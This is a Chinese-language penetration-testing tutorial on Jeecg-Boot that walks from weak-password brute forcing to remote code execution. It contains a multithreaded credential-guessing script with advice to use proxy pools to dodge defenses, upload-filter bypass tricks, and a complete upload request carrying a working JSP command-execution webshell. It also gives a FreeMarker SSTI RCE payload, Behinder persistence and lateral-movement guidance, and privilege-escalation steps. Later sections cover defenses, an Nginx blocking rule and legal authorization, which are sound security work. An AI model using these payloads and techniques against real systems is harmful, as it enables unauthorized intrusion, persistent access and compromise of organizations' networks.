Jeecg-Boot弱口令漏洞实战：从后台渗透到远程代码执行

1. Jeecg-Boot平台安全风险概述

Jeecg-Boot作为一款基于代码生成器的J2EE快速开发平台，近年来在企业信息化建设中应用广泛。这个采用SpringBoot+Ant Design+Vue技术栈的平台，确实能帮助开发者快速完成90%的常规功能开发。但正是这种"开箱即用"的特性，使得很多部署者忽视了基础安全配置，导致系统暴露在严重风险之下。

我在去年的一次企业安全评估中，就遇到过典型场景：某集团公司使用Jeecg-Boot搭建了十几个业务系统，所有系统都使用默认的admin/123456账号密码。更危险的是，这些系统都部署在公网且相互通过内网连接，一旦突破任意一个系统，整个集团内网就门户大开。这种"连锁反应"在实际攻防中屡见不鲜。

2. 弱口令漏洞的发现与利用

2.1 常见弱口令组合

根据我的实战统计，Jeecg-Boot系统中最常见的弱口令组合包括：

• admin/123456（默认凭证）
• jeecg/jeecg123
• test/test123
• 用户名与密码相同（如admin/admin）
• 简单数字序列（如123456/111111）

去年在某次授权测试中，我编写了包含200个常见组合的字典，对目标企业的Jeecg系统进行爆破测试。结果令人震惊——在测试的50个系统中，有32个可以在3分钟内被破解。这种"撞库"成功率充分说明了弱口令问题的普遍性。

2.2 自动化检测方法

对于大规模资产，手动测试效率太低。我通常使用如下Python脚本进行自动化检测：

import requests from concurrent.futures import ThreadPoolExecutor def check_login(target, username, password): login_url = f"{target}/jeecg-boot/sys/login" data = { "username": username, "password": password, "captcha": "任意值" # 某些版本不需要验证码 } try: resp = requests.post(login_url, json=data, timeout=5) if "登录成功" in resp.text: print(f"[+] 成功破解 {target} : {username}/{password}") return True except Exception as e: print(f"[-] 检测{target}时出错: {str(e)}") return False # 示例使用 targets = ["http://example1.com", "http://example2.com"] credentials = [("admin", "123456"), ("jeecg", "jeecg123")] with ThreadPoolExecutor(max_workers=10) as executor: for target in targets: for user, pwd in credentials: executor.submit(check_login, target, user, pwd)

这个脚本采用多线程并发测试，可以在短时间内完成大量系统的弱口令检测。在实际测试中，建议配合代理池使用以避免触发防护机制。

3. 后台文件上传漏洞实战

3.1 文件上传接口定位

成功登录后台后，攻击者通常会寻找文件上传功能。Jeecg-Boot常见的上传接口包括：

• /jeecgFormDemoController.do?commonUpload
• /cgUploadController.do?ajaxSaveFile
• /sys/common/upload

这些接口往往缺乏严格的权限校验和文件类型检查。我曾遇到一个案例，某企业的CRM系统虽然在前端做了文件类型限制，但后端接口完全接受任意文件类型，导致攻击者可以直接上传Webshell。

3.2 绕过上传限制的技巧

当遇到基础的文件类型检查时，可以尝试以下方法绕过：

1. 修改Content-Type：将application/x-jsp改为image/jpeg
2. 双扩展名：如shell.jsp.jpg
3. 大小写变异：shell.JSP或shell.jSp
4. 空格结尾：shell.jsp（注意末尾空格）
5. 分块编码传输：避开内容检查

这里给出一个完整的绕过示例请求：

POST /jeecg-boot/cgUploadController.do?ajaxSaveFile HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 Content-Length: 1024 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="test.jsp.jpg" Content-Type: image/jpeg <%@page import="java.util.*"%> <% if(request.getParameter("cmd")!=null){ Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); java.io.InputStream in = p.getInputStream(); int ret = p.waitFor(); java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in)); String line; while ((line = reader.readLine()) != null) { out.println(line); } } %> ------WebKitFormBoundaryABC123--

3.3 冰蝎连接实战

成功上传Webshell后，我推荐使用冰蝎(Behinder)进行连接管理。冰蝎的优势在于：

1. 流量加密，避免被WAF检测
2. 支持多种协议和代理
3. 提供图形化文件管理

连接步骤如下：

1. 在冰蝎中添加新Shell，填写Webshell地址
2. 选择对应的密码类型（默认rebeyond）
3. 设置请求头（如需要）
4. 点击"测试连接"，确认连通性

我曾用这种方式在某次红队行动中保持了长达3周的持久化访问，期间通过冰蝎的隧道功能横向移动到了内网多台服务器。

4. 远程代码执行漏洞深度利用

4.1 从文件上传到RCE

在某些Jeecg-Boot版本中，上传的JSP文件可能受到权限限制无法执行。这时可以尝试以下进阶方法：

1. 利用Freemarker SSTI：通过/jeecg-boot/jmreport/queryFieldBySql接口注入模板代码
2. 反序列化漏洞：寻找使用了不安全反序列化的组件
3. 数据库命令执行：通过SQL注入导出Webshell

一个典型的SSTI利用Payload如下：

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Host: target.com Content-Type: application/json { "sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami\")}'" }

4.2 权限提升与持久化

获取基础权限后，建议立即进行权限提升：

1. 检查当前用户权限：whoami && id
2. 查找SUID文件：find / -perm -4000 2>/dev/null
3. 检查计划任务：crontab -l
4. 查看环境变量：env

在某次测试中，我发现目标服务器配置了不安全的Redis服务，通过redis-cli -h 127.0.0.1连上后，直接修改了authorized_keys文件实现了SSH免密登录。

5. 防御措施与安全建议

5.1 基础防护方案

根据我的实战经验，有效的防护应该包括：

1. 密码策略：

   • 强制使用12位以上复杂密码
   • 启用定期更换机制
   • 限制登录尝试次数

2. 文件上传防护：

   • 白名单校验文件类型
   • 使用随机重命名
   • 存储到非Web目录

3. 系统加固：

   • 及时升级到最新版本
   • 删除默认账号和示例文件
   • 限制后台访问IP

5.2 高级监控方案

对于重要系统，建议部署：

1. 日志分析：监控异常登录和文件上传行为
2. WAF规则：针对Jeecg-Boot特定漏洞特征
3. RASP防护：在应用层阻断攻击链

我曾帮某金融机构部署了一套基于ELK的日志监控系统，专门针对Jeecg-Boot的异常行为设置告警规则，成功在攻击者尝试利用弱口令时及时发出警报。

6. 漏洞修复与验证

6.1 官方补丁应用

Jeecg团队已经发布了多个安全补丁，修复步骤包括：

1. 备份当前系统和数据库
2. 下载官方补丁包
3. 按照说明文档逐步替换文件
4. 重启应用服务

特别注意：补丁应用后要清除浏览器缓存，否则可能因静态资源缓存导致功能异常。

6.2 自定义安全加固

除了官方补丁，我还推荐以下加固措施：

1. 修改默认错误提示信息，避免泄露系统细节
2. 禁用不必要的接口和功能
3. 在Nginx层面添加安全头

一个实用的Nginx配置示例：

location /jeecg-boot { # 禁止直接访问危险接口 if ($request_uri ~* "(commonUpload|ajaxSaveFile)") { return 403; } # 添加安全头 add_header X-Content-Type-Options nosniff; add_header X-Frame-Options DENY; add_header Content-Security-Policy "default-src 'self'"; }

7. 渗透测试中的法律边界

在实施任何安全测试前，必须获得书面授权。我曾见过多个案例，测试人员因未获得明确授权而面临法律风险。建议：

1. 签订详细的测试协议
2. 明确测试范围和方式
3. 做好操作记录和证据保存
4. 测试后立即修复发现的漏洞

记住：技术是把双刃剑，安全测试的目的是为了提升防护能力，而不是破坏系统。保持职业操守，才能在安全领域走得更远。